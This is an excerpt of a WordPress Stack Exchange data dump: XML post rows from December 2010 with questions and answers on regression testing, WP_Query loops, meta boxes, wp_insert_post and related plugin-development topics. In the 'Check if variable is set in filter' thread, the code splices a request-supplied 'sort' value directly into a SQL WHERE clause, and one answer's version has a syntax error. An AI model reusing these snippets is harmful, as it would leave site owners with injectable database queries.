that a change, such as a bugfix, did not introduce new bugs.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More telling Wikipedia says the following which is exactly what I'm experiencing on a project right now:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Experience has shown that as software is fixed, emergence of new and/or reemergence of old faults is quite common. Sometimes reemergence occurs because a fix gets lost through poor revision control practices (or simple human error in revision control). Often, a fix for a problem will be &quot;fragile&quot; in that it fixes the problem in the narrow case where it was first observed but not in more general cases which may arise over the lifetime of the software. Frequently, a fix for a problem in one area inadvertently causes a software bug in another area. Finally, it is often the case that when some feature is redesigned, some of the same mistakes that were made in the original implementation of the feature were made in the redesign.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With the global nature of actions and filters I'm finding that complexity starts ramping as I add more client-requested functionality and it becomes hard to get a complex plugin stable, especially if it uses a lot of calls to &lt;code&gt;WP_Query&lt;/code&gt; and updates the database a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution in my mind would be to set up regression testing with a series of &lt;em&gt;&quot;test cases&quot;&lt;/em&gt; to comprise a &lt;em&gt;&quot;test suite.&quot;&lt;/em&gt; In concept it's not that hard when you are testing the HTML output of HTTP GET requests. But it gets a little more complicated when you have to test things when logged in via the admin console and/or to test jQuery interactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm setting this up as a community wiki in hopes we can gather best practices here but I'm really anxious to hear processes if any other WordPress professionals are using.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-06-18T15:40:49.903" CommunityOwnedDate="2010-12-02T10:28:38.673" Title="Best Practices for Regression Testing WordPress Websites?" Tags="&lt;best-practices&gt;&lt;testing&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" />
  <row Id="4765" PostTypeId="2" ParentId="4761" CreationDate="2010-12-02T06:59:07.523" Score="-2" ViewCount="" Body="&lt;p&gt;this is the jquery,&#xA;if you know then you can do it,&#xA;cause here no one is going to do free jobs for you&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-02T06:59:07.523" CommentCount="1" />
  <row Id="4766" PostTypeId="2" ParentId="4723" CreationDate="2010-12-02T07:04:08.903" Score="3" ViewCount="" Body="&lt;p&gt;Other than order of execution it doesn't really matter where code is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general case you can move code to &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Functions_File&quot; rel=&quot;nofollow&quot;&gt;Functions File (&lt;code&gt;functions.php&lt;/code&gt;)&lt;/a&gt; of theme or &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;create simple plugin&lt;/a&gt; and it will still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this specific case the code seems to be part of WooFramework so you will need to additionally check so that it isn't declared twice (causing error), for example by using &lt;a href=&quot;http://php.net/manual/en/function.function-exists.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;function_exists()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-02T07:04:08.903" CommentCount="5" />
  <row Id="4767" PostTypeId="2" ParentId="4760" CreationDate="2010-12-02T07:14:22.457" Score="3" ViewCount="" Body="&lt;p&gt;The signature of newer function is different:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar_widget&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_sidebar_widget&lt;/code&gt;&lt;/a&gt;&lt;code&gt;( $name,&lt;/code&gt;&lt;strong&gt;&lt;code&gt;$output_callback&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;, $classname );&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_sidebar_widget&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_register_sidebar_widget&lt;/code&gt;&lt;/a&gt;&lt;code&gt;( $id, $name,&lt;/code&gt;&lt;strong&gt;&lt;code&gt;$output_callback&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;, $options );&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can't simply replace one function with another here, need to re-order arguments accordingly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-02T07:14:22.457" CommentCount="1" />
  <row Id="4768" PostTypeId="2" ParentId="4547" CreationDate="2010-12-02T09:15:16.730" Score="0" ViewCount="" Body="&lt;p&gt;Today I found a convenient way to do so - I prefer to use Microsoft Word (or similar client blog editor) to write the blog which utilize the huge number of text formation features from it. More details can be read &lt;a href=&quot;http://skattertech.com/2007/02/word-07-supports-wordpress/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2010-12-02T09:15:16.730" />
  <row Id="4769" PostTypeId="2" ParentId="4689" CreationDate="2010-12-02T10:00:50.337" Score="0" ViewCount="" Body="&lt;p&gt;Right, sorry about this but I've figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My php syntax for echo-ing the date was completely wrong, so I've fixed that using the php documentation and it's all sorted now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was: &lt;code&gt;&amp;lt;?php echo &quot;date&quot;(Y); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But should be: &lt;code&gt;&amp;lt;?php echo date(&quot;Y&quot;); ?&amp;gt;&lt;/code&gt; thanks for all your help, didn't think for one minute that would be the problem, sorry. &lt;/p&gt;&#xA;" OwnerUserId="1531" LastActivityDate="2010-12-02T10:00:50.337" CommentCount="1" />
  <row Id="4770" PostTypeId="1" AcceptedAnswerId="4771" CreationDate="2010-12-02T10:36:37.937" Score="0" ViewCount="208" Body="&lt;p&gt;I'm using this piece of code to show related posts based on the tag of the post you are viewing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to modify is a little to exclude the related posts from the loop if they are in the same category of the post you are viewing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason for this is i already have a loop to show related posts in the same category, so trying to cut out the duplicates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$tags = wp_get_post_tags($post-&amp;gt;ID);&#xA;if ($tags) {&#xA;  $first_tag = $tags[0]-&amp;gt;term_id;&#xA;  $args=array(&#xA;    'tag__in' =&amp;gt; array($first_tag),&#xA;    'post__not_in' =&amp;gt; array($post-&amp;gt;ID),&#xA;    'showposts'=&amp;gt;5,&#xA;    'caller_get_posts'=&amp;gt;1&#xA;   );&#xA;  $my_query = new WP_Query($args);&#xA;  if( $my_query-&amp;gt;have_posts() ) {&#xA;    while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;!-- loop here --&amp;gt;&#xA;&#xA;      &amp;lt;?php&#xA;    endwhile;&#xA;  }wp_reset_query();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1778" LastActivityDate="2010-12-02T11:41:21.490" Title="Related Tags not in category" Tags="&lt;categories&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="4771" PostTypeId="2" ParentId="4770" CreationDate="2010-12-02T11:22:21.330" Score="2" ViewCount="" Body="&lt;p&gt;Very similar to what you do with tags. Retrieve IDs of categories for current post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_the_category();&#xA;$cat_ids = array();&#xA;foreach($categories as $category)&#xA;    $cat_ids[] = $category-&amp;gt;term_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then exclude them in query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'category__not_in' =&amp;gt; $cat_ids,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-02T11:22:21.330" CommentCount="1" />
  <row Id="4772" PostTypeId="2" ParentId="4770" CreationDate="2010-12-02T11:41:21.490" Score="0" ViewCount="" Body="&lt;p&gt;What you can also do is keep a global variable that contains all post id's that you already showed in a &quot;related articles&quot; area, and pass that to &lt;code&gt;post__not_in&lt;/code&gt;. This allows you to add and remove other ways to show related articles (by enabling or disabling widgets?), and always prevent duplicates.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-02T11:41:21.490" CommentCount="2" />
  <row Id="4773" PostTypeId="2" ParentId="4763" CreationDate="2010-12-02T11:46:04.183" Score="6" ViewCount="" Body="&lt;p&gt;PHPUnit would come to mind, if the WP test suite wasn't so broken, and if WP had been designed and written in a way that it could actually be tested properly. ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More seriously, you can test your plugins all you want from their functional standpoint with unit tests and the like. The issue is that these tests won't guarantee that they'll catch subtle chances introduced by WP upgrades, let alone that they'll continue to work once plugged into a customized WP install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among the colorful things I've seen happen:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A subtle change in the WP API affects your plugin's functionality, e.g. the hook you're on used to get a term id and it's now getting a term taxonomy id. (Chances are good that your test terms conveniently have the same id for both).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A subtle change in the WP API results in your receiving a &lt;code&gt;WP_Error&lt;/code&gt; object instead of the previously expected value of &lt;code&gt;false&lt;/code&gt; as bad input.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your plugin is added from within the mu-plugins folder, resulting in a subtly different code flow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your plugin worked fine until memcached or some other persistent store got enabled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your plugin worked fine until the despised switch_to_blog() got called.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A plugin changes the hook which it resides on when called, and unknowingly interrupts it as a side effect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A plugin (un?)knowingly messes around with your input or output data to the point where things look broken even though you're not at fault.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I could expand the list on and on, but those would be the key items that broke my own plugins. The two items are arguably catchable with unit tests. The next two as well, if you're patient enough, but I'd argue that WP should not change the way things work when they occur. No amount of testing will work around the buggy implementation of switch_to_blog(). And the last two are hopelessly untestable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and... don't even get me started on the onslaught of attachments, auto drafts, revisions, menu items and what not that end up stored in the posts table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck... :-)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-12-02T11:51:19.297" LastActivityDate="2010-12-02T11:51:19.297" CommunityOwnedDate="2010-12-02T11:46:04.183" CommentCount="3" />
  <row Id="4774" PostTypeId="1" AcceptedAnswerId="4776" CreationDate="2010-12-02T12:37:23.313" Score="2" ViewCount="820" Body="&lt;p&gt;Is there a way to use wp multifile upload system in my plugin?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="1147" LastEditorDisplayName="" LastEditDate="2010-12-02T13:12:14.373" LastActivityDate="2010-12-02T21:19:21.290" Title="Use Wordpress file upload in my plugin - on frontend and on backend?" Tags="&lt;3.0&gt;&lt;plugin-development&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" />
  <row Id="4775" PostTypeId="2" ParentId="4774" CreationDate="2010-12-02T12:49:23.563" Score="0" ViewCount="" Body="&lt;p&gt;There is an action to call the media buttons.&#xA;Forgive me I don't know it at the moment, but you could look it up by yourself.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-02T12:49:23.563" CommentCount="1" />
  <row Id="4776" PostTypeId="2" ParentId="4774" CreationDate="2010-12-02T12:54:12.690" Score="2" ViewCount="" Body="&lt;p&gt;You could always include the stuff related to swfupload, yes. But there will be a better way in WP 3.1: you'll be able to use the whole upload UI.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-02T12:54:12.690" CommentCount="7" />
  <row Id="4777" PostTypeId="1" CreationDate="2010-12-02T15:12:27.150" Score="1" ViewCount="419" Body="&lt;p&gt;Hello :)&#xA;I've got a problem, I hope it's simple ;)&#xA;For now I've got a few meta boxes with custom fields like input, checkbox and select.&#xA;Everything's fine, but now I need to convert my select group to multiple select.&#xA;In HTML it's simple - add a multiple=&quot;multiple&quot; and that's all.&#xA;But I don't know how to save that kind of field.&#xA;This is my code to create this select for that moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;topic&quot; value=&quot;&amp;lt;?php echo $topic; ?&amp;gt;&quot; multiple=&quot;multiple&quot; size=&quot;5&quot;&amp;gt;         &#xA;    &amp;lt;?php &#xA;        $topic_options = array('value 1', 'value 3', 'value 3'); &#xA;        foreach($topic_options as $v) { &#xA;            echo '&amp;lt;option value=&quot;'.$v.'&quot; '. (($topic==$v)?'selected=&quot;selected&quot;':'') .'&amp;gt;'.$v.'&amp;lt;/option&amp;gt;'; &#xA;        }    &#xA;    ?&amp;gt; &#xA;    &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All fields I save in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_info(){&#xA;global $post;&#xA;if(isset($_POST['moderator'])) { &#xA;&#xA;    $update_options = array('topic', 'title', 'name', 'moderator'); &#xA;    foreach($update_options as $option) { &#xA;          if(empty($_POST[$option])) &#xA;          delete_post_meta($post-&amp;gt;ID, $option); &#xA;          else &#xA;          update_post_meta($post-&amp;gt;ID, $option, $_POST[$option]); &#xA;&#xA;    } &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything working, but this multiple select - doesn't :/&#xA;Could You help me?&lt;/p&gt;&#xA;" OwnerUserId="1780" LastActivityDate="2010-12-02T15:12:27.150" ClosedDate="2010-12-06T17:30:41.603" Title="How to create a multiple select in Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;customization&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="4778" PostTypeId="2" ParentId="4761" CreationDate="2010-12-02T15:32:08.460" Score="3" ViewCount="" Body="&lt;p&gt;For future reference, you can usually right-click on any website to view the page's source and get an idea of how they built it.  This particular feature a group of several layered images with the position of each controlled by JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This particular effect is called &lt;em&gt;parallax&lt;/em&gt; and is controlled by the aptly-named &lt;a href=&quot;http://plugins.jquery.com/project/jquery-parallax-style&quot; rel=&quot;nofollow&quot;&gt;jQuery Parallax plug-in&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some example code on &lt;a href=&quot;http://www.dom111.co.uk/blog/coding/jquery-parallax-0-2-minor-updates/125&quot; rel=&quot;nofollow&quot;&gt;the original author's blog&lt;/a&gt; along with a &lt;a href=&quot;http://www.dom111.co.uk/files/parallax/silverback/0.2/&quot; rel=&quot;nofollow&quot;&gt;live demo&lt;/a&gt; of the latest version (0.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there are several step-by-step tutorials for creating a custom parallax header out there on the Internet.  Just do a &lt;a href=&quot;http://www.google.com/search?q=jquery+parallax+tutorial&quot; rel=&quot;nofollow&quot;&gt;quick Google search&lt;/a&gt; to find them.  To save you some time, here's &lt;a href=&quot;http://blog.themeforest.net/tutorials/create-a-funky-parallax-background-effect-using-jquery/&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt; complete with sample code, a demo, and a downloadable ZIP file of the entire project.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-02T15:32:08.460" />
  <row Id="4779" PostTypeId="1" AcceptedAnswerId="4781" CreationDate="2010-12-02T16:47:46.480" Score="0" ViewCount="178" Body="&lt;p&gt;Thanks to your suggestions, I enabled wp_debug and discovered flaws with my plugin. I have a filter for sorting posts by votes. I use it when the &lt;code&gt;sort&lt;/code&gt; URL parameter is on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_filter( 'posts_where', 'votes', 10, 2 );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to get &lt;code&gt;Undefined index: sort&lt;/code&gt; so I modified my function to first check if the variable is set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function votes( $where, $query )&#xA;{&#xA;  $sort = array_key_exists('sort', $query-&amp;gt;query_vars) ? $_GET['sort'] : null;&#xA;  if ( isset($sort) ) {         &#xA;       $where .= &quot; AND $sort &amp;gt;= votes&quot;;               &#xA;  }&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine but I'm not confident if it's correct. I'm wondering if there's a better method to do this.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-12-02T17:32:59.620" Title="Check if variable is set in filter" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;php&gt;&lt;functions&gt;&lt;filters&gt;" AnswerCount="2" />
  <row Id="4780" PostTypeId="2" ParentId="4779" CreationDate="2010-12-02T17:32:25.897" Score="2" ViewCount="" Body="&lt;p&gt;If you check for &lt;code&gt;$query-&amp;gt;query_vars&lt;/code&gt; first but then use &lt;code&gt;$_GET['sort']&lt;/code&gt; later on, you have just checked or used the wrong variable. I think this just happened when you edited the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you probably wanted to write this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $sort = array_key_exists('sort', $query-&amp;gt;query_vars) ? $query-&amp;gt;query_vars['sort'] : null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-02T17:32:25.897" CommentCount="1" />
  <row Id="4781" PostTypeId="2" ParentId="4779" CreationDate="2010-12-02T17:32:59.620" Score="1" ViewCount="" Body="&lt;p&gt;The variable you have named &lt;code&gt;$query&lt;/code&gt; is actually the WP_Query instance having filters applied to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply call its function &lt;code&gt;get&lt;/code&gt; to retrieve query vars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function votes( $where, $query )&#xA;{&#xA;    $sort = $query-&amp;gt;get('sort');&#xA;    if (!empty($sort)&#xA;        $where .= &quot; AND $sort &amp;gt;= votes&quot;;&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1579" LastActivityDate="2010-12-02T17:32:59.620" CommentCount="1" />
  <row Id="4782" PostTypeId="1" AcceptedAnswerId="4785" CreationDate="2010-12-02T18:00:59.643" Score="3" ViewCount="265" Body="&lt;p&gt;Is there a way to overwrite a core function is the Wordpress core using a plugin? I don't need to inject code, I need to replace the function entirely with a re-written version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific function is wp_nav_menu_item_post_type_meta_box() in /wp-admin/includes/nav-menu.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there's a lack of functionality that is not meeting a clients need, so I need to overwrite this function with one I have created. I've made heavy modifications to the function, and I want to have the ability to overwrite the function with my own through a plugin instead of editing the file directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this probably isn't much better than hacking the core, however its a temporary immediate solution.&lt;/p&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2011-07-29T15:54:06.260" Title="Overwriting Core Wordpress Functions with Plugins" Tags="&lt;plugin-development&gt;&lt;menus&gt;&lt;overridable-functions&gt;&lt;admin-menu&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4783" PostTypeId="1" CreationDate="2010-12-02T18:01:59.197" Score="0" ViewCount="520" Body="&lt;p&gt;i've spent way too much time trying to use the &lt;code&gt;wp_insert_post()&lt;/code&gt; function a &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; and i do not know why it is not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create post object&#xA;  $my_post = array(&#xA;     'post_title' =&amp;gt; 'My post',&#xA;     'post_content' =&amp;gt; 'This is my post.',&#xA;     'post_status' =&amp;gt; 'publish',&#xA;     'post_author' =&amp;gt; 1,&#xA;     'post_category' =&amp;gt; array(8,39)&#xA;  );&#xA;&#xA;// Insert the post into the database&#xA;  wp_insert_post( $my_post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm probably doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible can you please hook this to a form. Thanks verymuch.&#xA;I just need an example to see what i am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a &lt;a href=&quot;http://stackoverflow.com/questions/4321914/wp-insert-post-with-a-form&quot;&gt;link&lt;/a&gt; to where i previously asked. pls don't mark dupe.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-02T18:27:28.647" Title="simple wp_insert_post example" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;functions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4784" PostTypeId="2" ParentId="4783" CreationDate="2010-12-02T18:27:28.647" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// Create post object&#xA;$my_post = array();&#xA;$my_post['post_title']    = 'My post';&#xA;$my_post['post_content']  = 'This is my post.';&#xA;$my_post['post_status']   = 'publish';&#xA;$my_post['post_author']   = 1;&#xA;$my_post['post_category'] = array(0);&#xA;// Insert the post into the database&#xA;wp_insert_post( $my_post );&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine. You code is correct, but it is an problem in the form to send the $_POST data?&#xA;See on &lt;a href=&quot;http://wpengineer.com/1229/puplishing-extend-of-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; for feature informations&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-02T18:27:28.647" />
  <row Id="4785" PostTypeId="2" ParentId="4782" CreationDate="2010-12-02T18:40:32.187" Score="6" ViewCount="" Body="&lt;p&gt;Not really, no.  You can override built-in PHP functions, but not user-defined functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, all this function does is define a meta box.  Why not define your own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've got your own meta box defined and added, you can call &lt;code&gt;remove_meta_box&lt;/code&gt; to remove the standard one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_meta_box( 'add-POSTTYPENAME', 'nav-menus', 'side');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The meta box is originally added for each custom post type using a loop.  The ID of the meta box is defined as &lt;code&gt;add-{$id}&lt;/code&gt; where &lt;code&gt;$id&lt;/code&gt; is the name of the post-type.  So you can remove this meta box for all post types by doing a similar loop, or just for a specific post type.  It's up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just add your custom meta box for the post types you need.  Here's the function that adds the original for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_nav_menu_post_type_meta_boxes() {&#xA;      $post_types = get_post_types( array( 'show_in_nav_menus' =&amp;gt; true ), 'object' );&#xA;&#xA;      if ( ! $post_types )&#xA;          return;&#xA;&#xA;      foreach ( $post_types as $post_type ) {&#xA;          $post_type = apply_filters( 'nav_menu_meta_box_object', $post_type );&#xA;          if ( $post_type ) {&#xA;              $id = $post_type-&amp;gt;name;&#xA;              add_meta_box( &quot;add-{$id}&quot;, $post_type-&amp;gt;labels-&amp;gt;name, 'wp_nav_menu_item_post_type_meta_box', 'nav-menus', 'side', 'default', $post_type );&#xA;          }&#xA;      }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-02T18:40:32.187" />
  <row Id="4786" PostTypeId="1" AcceptedAnswerId="4828" CreationDate="2010-12-02T18:57:08.673" Score="1" ViewCount="797" Body="&lt;p&gt;I’m using Wordpress as a CMS for this site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.seadragon.co.uk/new_site/portfolio.html&quot; rel=&quot;nofollow&quot;&gt;http://www.seadragon.co.uk/new_site/portfolio.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and it’s the first time I’ve ever used wordpress so sorry if I get the terminology wrong....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client needs to be able to add new projects (case studies) to the portfolio section, and each of them can have it’s own slideshow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought they could create a new post category for each project slideshow, and then a new page for each project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is how to get my client to associate the post category with the project page (so I can pull the correct category posts in to the slideshow dynamically).  I thought maybe I could try and get them to use the same naming convention for the category she creates (for the project sildeshow) and the page she creates (for the project)?  Does this sound like it’ll work?  Is there a better way I can do this, or another plugin that would be better suited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s the code from my portfolio template... currently the categoryID is hard coded in the query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            //Reset Query&#xA;            //wp_reset_query();&#xA;            global $wp_query;&#xA;            $query = &quot;post_type=post&amp;amp;cat=5&quot;;&#xA;            $wp_query = new WP_Query( $query );&#xA;&#xA;            if ( have_posts() ) : while ( have_posts() ) : the_post(); &#xA;&#xA;                echo get_the_post_thumbnail($post-&amp;gt;ID, 'large');&#xA;                ?&amp;gt;&#xA;&#xA;            &amp;lt;?php &#xA;            endwhile; endif;&#xA;            ?&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            $(window).load(function() {&#xA;            $('#slider').nivoSlider();&#xA;            });&#xA;            &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that makes some sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit: Fixed formatting so embedded code sample would display&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1786" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-12-03T08:08:39.360" LastActivityDate="2010-12-03T09:15:25.280" Title="Multiple instances of nivo slider plugin" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;query-posts&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="4787" PostTypeId="2" ParentId="4736" CreationDate="2010-12-02T19:21:17.643" Score="0" ViewCount="" Body="&lt;p&gt;you may want to use some RSS aggregator like FeedWordpress&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-12-02T19:21:17.643" />
  <row Id="4788" PostTypeId="2" ParentId="4774" CreationDate="2010-12-02T21:19:21.290" Score="0" ViewCount="" Body="&lt;p&gt;I'd let them upload through Picasa or Google Docs and embed that page.  What say ye, fellow WP Developers?  If not, I'd also really like to know an answer.&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2010-12-02T21:19:21.290" CommentCount="1" />
  <row Id="4789" PostTypeId="1" CreationDate="2010-12-02T21:25:57.853" Score="2" ViewCount="1385" Body="&lt;p&gt;Is there a plugin that allows me to change the url of domain.com/&lt;strong&gt;wp-admin&lt;/strong&gt; to domain.com/&lt;strong&gt;whatever-iwant&lt;/strong&gt; ? Curious if there is an easy solution to this by now.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2010-12-02T23:06:37.340" Title="Changing the 'wp-admin' URL to whatever I want" Tags="&lt;wp-admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4790" PostTypeId="1" CreationDate="2010-12-02T21:33:41.653" Score="0" ViewCount="165" Body="&lt;p&gt;I've been using get_adjacent_post() to determine the previous and next posts.&#xA;How would I go about determining the next and previous links to posts matching the same tag as the current post?  It seems this function allows you to do this with posts in the same category, but not with the same tag.&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2010-12-03T06:53:47.447" Title="Is it possible to filter get_adjacent_post() with tags?" Tags="&lt;tags&gt;" AnswerCount="1" />
